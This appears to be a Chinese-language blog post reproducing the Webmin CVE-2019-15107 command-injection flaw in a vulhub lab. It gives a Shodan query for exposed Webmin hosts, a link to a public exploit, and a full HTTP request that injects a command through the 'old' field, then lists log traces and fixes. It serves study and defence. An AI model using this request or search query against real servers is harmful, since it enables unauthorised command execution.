CVE-2019-15107 Webmin 远程命令执行漏洞复现
漏洞简述
Webmin是一套基于Web的用于类Unix操作系统中的系统管理工具。Webmin 1.920及之前版本中的password_change.cgi存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。
漏洞影响版本
Webmin <=1.920
Shodan 搜索语法
"MiniServ" http.title:"Login to Webmin" http.favicon.hash:-95050582
漏洞exp
https://github.com/MuirlandOracle/CVE-2019-15107
漏洞环境搭建
使用vulhub进行复现。注意访问的时候用https,忽略浏览器的报错。
漏洞复现
当发送的user参数的值不是已知Linux用户的情况下,这里随便用一个未知的用户名,才会进入到修改/etc/shadow
的地方,触发命令注入漏洞。
POST /password_change.cgi HTTP/1.1 Host: vul.zgao.top:10000 Cookie: JSESSIONID=AC21B387AEEE8F45636F4BD88DD29EA6; redirect=1; testing=1 Content-Length: 60 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Referer: https://vul.zgao.top:10000/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
使用上面提供的exp执行命令。
溯源排查
日志文件:/var/webmin/miniserv.log
排查关键词:password_change.cgi
修复方式
- 升级到Webmin 1.920以上版本
- 禁用/password_change.cgi接口
微信赞赏支付宝赞赏
发表评论